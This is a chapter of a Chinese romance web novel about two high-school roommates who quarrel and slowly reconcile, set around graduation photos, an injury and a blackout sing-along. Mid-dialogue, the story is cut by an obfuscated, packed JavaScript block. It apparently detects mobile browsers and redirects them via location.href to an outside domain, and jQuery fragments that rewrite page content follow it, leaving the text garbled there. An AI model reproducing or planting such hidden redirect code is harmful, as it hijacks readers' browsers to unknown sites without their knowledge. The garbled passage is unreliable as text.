34. 第 34 章

作品:《暗恋的有罪推定

    路既棠很生气。


    等到雨下完,坐在教室里的路既棠脑中还是一团乱麻,他已经忘了最后跟殷倚松说的那些话,到底是他真心的,还是气昏了头放的狠话。


    他拿出一本书,看了半天,发现自己看不进去,于是又拿出了平时练手用的画本,开始涂涂抹抹,半晌后,他放下了笔,他意识到,现在他太烦躁了。


    殷倚松居然能把他气成这样。


    他居然不知道,到底是应该先气殷倚松查自己和白鹤生,还是该气殷倚松不尊重自己。


    他想了又想,还是气不过,于是把书和画本都收好,站起来,直接回了寝室。


    和殷倚松吵完架之后,他走得快,没有被雨淋,等回到屋檐下,他才发现,殷倚松一动不动,竟然还站在雨中。


    离得远,他只能隔着雨幕,看到殷倚松模糊的影子。


    如果殷倚松已经走了,那他八成是回寝室洗澡换衣服了。


    路既棠刚才吵架没有发挥好,实在是怒气难消,他打算回寝室找殷倚松再吵一架,一定要让对方知道自己很生气,非常生气,道歉也没有用!


    不然,自己的气就白生了。


    这时候的路既棠,已经气得完全忘记了,上一次,他是怎么对待惹他生气的人的。


    殷倚松已经越过了他内心的禁地,换作是其他人,路既棠早已经默不作声地远离,让对方再也不能和自己有多余的交集了。


    殷倚松能得到特殊对待,说到底,还是因为路既棠喜欢他。


    路既棠回到寝室时,已经是傍晚时分,肖意和李未序都在,李未序看到他回来,招呼他,“既棠,要洗澡是吗,得等一下,现在在排着队。”


    路既棠点点头,回到床边坐下,慢慢的,他烦躁的心静了下来,脑子也渐渐清醒,开始梳理最近发生的事,他要知道,今天殷倚松为什么突然整这一出。


    阳台的门打开,殷倚松走了进来,他拿着干燥的毛巾擦着还在滴水的头发,看到路既棠,怔了一下。


    路既棠连忙抓紧时间瞪了对方一眼。


    既然寝室里有人,不能吵架,那他只好用别的方式发泄一点怒气。


    见殷倚松没有反应,路既棠摆出自己最冷漠的表情,又恶狠狠地瞪着殷倚松。


    好奇怪,为什么殷倚松完全没有被自己吓住的样子。


    路既棠觉得无趣,转开脸,不再看殷倚松了。


    殷倚松却走进一步,他微微俯身,看着路既棠的目光认真而郑重,“刚才的事,是我错了,我向你道歉,对不起”,他低声说道,“你放心,那些事不会有更多人的知道。”


    殷倚松发出一声叹息,含着一点不明显的疲惫,他又说道:“路既棠,对不起。”


    闻言,路既棠把脸转了回来,眼睛一动不动地看着眼前的人。


    随着殷倚松的倾身,他额发上的一滴水珠子落在路既棠的手背上,水珠子很圆也很轻,可这样落下来,还是将路既棠的手砸得一颤。


    路既棠的心酸胀起来,他看着殷倚松,说道:“我不接受你的道歉。”


    听完路既棠的话,殷倚松面上却没有异色,只是点点头,说了一个“好”字。他猜得到路既棠的反应,是他伤了路既棠的心。


    五月初,到了拍毕业照的时候了。三年的时光匆匆而过,真快啊。


    这天清晨天气很好,阳光很好,温度也适宜,是可以穿短袖的月份了。


    路既棠穿了一件蓝色短袖衬衫和一条白色棉麻阔腿裤,干净简单的衣服也能被他穿得挺括好看。


    三班的同学站在图书馆前候场,路既棠闲来无事,看着远处的天空开始走神,突然,他听到有人叫了自己一声,于是他看过去,相机把他这一瞬间的错愕拍了下来。


    相机后的人是薛晓希,站在薛晓希身边的冯晓曼看了一会,哈哈大笑道:“我说什么来着,帅哥是拍不出丑图的,我赢了,记得帮我带一周早餐。”


    “我不服。”薛晓希嘴上说着不服气,却拿着相机过来给路既棠看刚刚拍的照片,“没告诉你就抓拍了,不好意思,刚刚我按了很多下快门,很多照片都很不错,你看看有喜欢的吗,到时候我导出来发给你。”


    一旁的贺姝也凑过来,“也让我看看……不是我说,晓希,你平时真是谦虚了,你这个水平,以后做个人像摄影师肯定很有出息。”


    “人像摄影三要素,模特模特还是模特,你没发现,是路既棠让照片惊艳的吗,和我的技术没多大关系。”薛晓希把相机递给路既棠,让路既棠看。


    她说:“要是以后真的做这一行,我就要当风光摄影师,去抓天上的明月,去描水里的荇草,去探江南的杏花,去追西北的风沙,我要把这世界所有美好的风景,都用相机记录下来。”


    “志向远大,”杨秋染带着祝汝也凑过来,前者继续说道,“我支持你!”


    祝汝也说道:“我也支持你,晓希,你一定可以做得很出色的。”


    刚才平静地说出一番话的薛晓希,此刻却有点不好意思地摆摆手,“再说再说,谢谢你们。”


    说话间,班长岑嘉凝过来招呼他们,排队过去拍班级毕业照。


    大合照很快就拍完,他们可以自由活动,自行去拍毕业照了。


    很快,寝室长李未序招呼寝室里的人一起去拍个合照,寝室里的人很快就聚过来了。


    李未序目光一扫,“殷倚松和安于年还没来,我去找一下安于年……”他本想让路既棠去找殷倚松,但一想起最近路既棠和殷倚松的相处方式,又有点迟疑。


    下一刻,肖意说道:“我看见殷倚松了,班主任在和他说话,他已经知道了,很快就过来。”


    李未序松了一口气,说道:“行,我们就在国学走廊拍,大家先坐一会。”


    “我去找薛晓希帮我们拍。”吴睿凌说道。


    殷倚松过来时,人刚好齐了。


    摄影师就位,薛晓希举着相机,看了一眼他们的姿势,说道:“要不你们一起坐下来吧,高的人坐旁边,稍微低一点的人坐中间……路既棠,你可以再离殷倚松近一点的。”


    “我说三二一,你们不用说茄子,看镜头就行。”薛晓希开始拍。


    随着薛晓希一声“好了”落下,路既棠站了起来,拍照时,坐在他身边的殷倚松让他觉得浑身都不自在。


    他们刚一拍完,杨秋染就来拉路既棠,“白鹤生在那边的紫荆花树下等着我们呢,我们赶紧过去吧。”


    今天白鹤生看起来格外高兴,“初中的毕业照没能和你一起拍,高中终于可以一起了。”


    白鹤生提出初中,想到了那天殷倚松说的话,路既棠心里对白鹤生的愧疚满得都要溢出来。


    一想到殷倚松可能从哪些人嘴里知道那些事,他更不想原谅殷倚松了。


    白鹤生、路既棠和杨秋染,他们三个人站在花树下拍合照,紫荆花那淡紫色的烟霞,花瓣几乎淡得看不见颜色。


    杨秋染捡了一朵花别在鬓边,路既棠神色恬淡,白鹤生则神采飞扬,她和两个哥哥一起,笑意盈盈地看向镜头。


    时间很快到了六月份,一天傍晚,路既棠在寝室里摔了一跤。


    他是被一沓放在门边的书绊倒的,他没稳住身体,连带着更多的书落了下来,最后还磕到了额头。


    “天啊,”正在洗衣服的吴睿凌扑过来,“路哥,怎么样,要紧吗,我听到了好大一声响,是磕到了哪里?我看看。”他试图扶路既棠起来。


    刚踏进寝室的李未序和肖意看到这一幕,连忙快步走了过来,李未序和肖意一起把路既棠扶了起来,让路既棠坐在吴睿凌跑去拿来的椅子上。


    路既棠揉着额头,说道:“没事,就是头有点晕。”


    “麻烦你们了,”路既棠说,“我坐一会缓一下,快中考的时候我也摔过一跤,真的好巧,刚刚被我绊倒的书是谁的,对不住。”


    肖意正蹲下收拾散落在地上的书,他翻到书的扉页,“是安于年的。”


    “前几天都没看到,”李未序说道,“怎么突然把书放在这里,晚点我和他说一下吧,让他把书拿走。”


    “要去校医室看一下吗?”吴睿凌一直看着路既棠,“刚刚听声音,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396658|184305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我感觉真的摔得挺狠的。”


    从校医室回来,路既棠靠近右边太阳穴的一小块额头已经肿了起来,现在出不了学校,校医只能给他开点药看看情况,叮嘱路既棠不适随诊。


    第二天早上,路既棠没能坐起来,他头晕得几乎看不清眼前的东西,只能拜托李未序帮他向班主任请假。


    再醒过来时,已经是早上九点,床前有人,现在是上课时间,怎么会有人。


    路既棠艰难地抬眼看过去,一双手却伸过来盖住了他的眼睛。


    “别看了,头会更晕的。”床前的人正是殷倚松,他柔声说:“是我,现在我们出不了学校,但我和班主任说了,我爷爷让人送药过来,我把过你的脉了,没什么大事,喝了药休息一天就会好了。”


    路既棠内心深处又酸又软。


    他真拿这个人没办法。


    沉默了一会,路既棠说道:“谢谢你。”


    他的眼睛被殷倚松盖住,看不到殷倚松的神情,只能听到殷倚松轻轻笑了一下,“路既棠,你说,我是不是总让你为难?”


    “有一点,”路既棠想了一会,又觉得头晕了,他只能撑着说道,“你和白鹤生是不一样的……”


    殷倚松看出他的不适,他“嗯”了一声,给路既棠喂完药后,又替路既棠捡起落在床外的被子,盖在路既棠身上,才说道:“我知道,睡吧。”


    下一刻,一股清淡的香气涌入路既棠的鼻尖,路既棠再次沉沉睡去。


    路既棠彻底清醒时已经是下午,殷倚松不在寝室里了,他坐起来,发现头不晕了,脑中一片清明,他环顾了一下四周,只见身上盖得整整齐齐的被子,被角被妥帖的掖着。


    路既棠看着那处被角,陷入长久的失神。


    因为今年的高考在七月份,六月中旬高三的学生们还在做最后的复习,一天晚自习,教室里的灯突然熄灭了。


    整栋教学楼很快陷入一片漆黑。


    “停电了。”在这一句话里,班级里的人突然欢呼起来,很快,其他班也传来了欢呼的声音。


    平时偷偷藏着手机的人,前后左右地环顾了一圈,确认没有老师过来,于是打开了手电筒,渐渐的,很多束灯光在黑暗中亮起。


    有人带头唱起了歌。


    一开始,只是几个人唱,慢慢地,越来越多人加入,很多人渐渐走出教室,站在走廊上,在这个停电的夜里,教学楼一层层的走廊里,一束束光次第亮起。


    手机的灯光摇晃起来,为歌打着节拍,从《起风了》唱到《追光者》,从《凤凰花开的路口》唱到《后来》,一首歌一首歌地唱着,这是高三学生的大合唱。


    尽管现在他们还在同一栋教学楼里做着试卷,听着老师们的课。


    但别离已经近在眼前。


    很快,他们就要分别了,往后四海八方,要有多大的缘分才能再聚到一起呢。


    最后,不知道是谁带头唱了起来,“长亭外,古道边,芳草碧连天,晚风拂柳笛声残,夕阳山外山……”


    “天之涯,地之角,知交半零落,一壶浊酒尽余欢,今宵别梦寒……”(注)


    明暗交杂的环境,放大了人的情愫。


    一种说不出来的的悲伤弥漫过来。


    有人喊道:“我就要我前程似锦,我就要我们这一代人前途光明。”


    有人接着喊道:“我不要一直当追着光的人,我要自己也成为光。”


    越来越多的人跟着喊——


    “我要和她考上同一所大学,我要和她有很好很好的未来。”


    “我希望不管以后发生什么,我都能做真实的自己,不用违背本心,不用妥协不用屈服。”


    …………………………


    几天后,考完四模,路既棠正在收拾走廊的书。


    走廊上忽然一片沸腾。“看——是彩虹!”


    路既棠转过头去看。


    大雨后的天空一碧如洗,一弯彩虹静静地悬在暮色中。


    有同学激动得叽哇乱叫,“彩虹,见者得好运!”


    路既棠听得露出了笑容。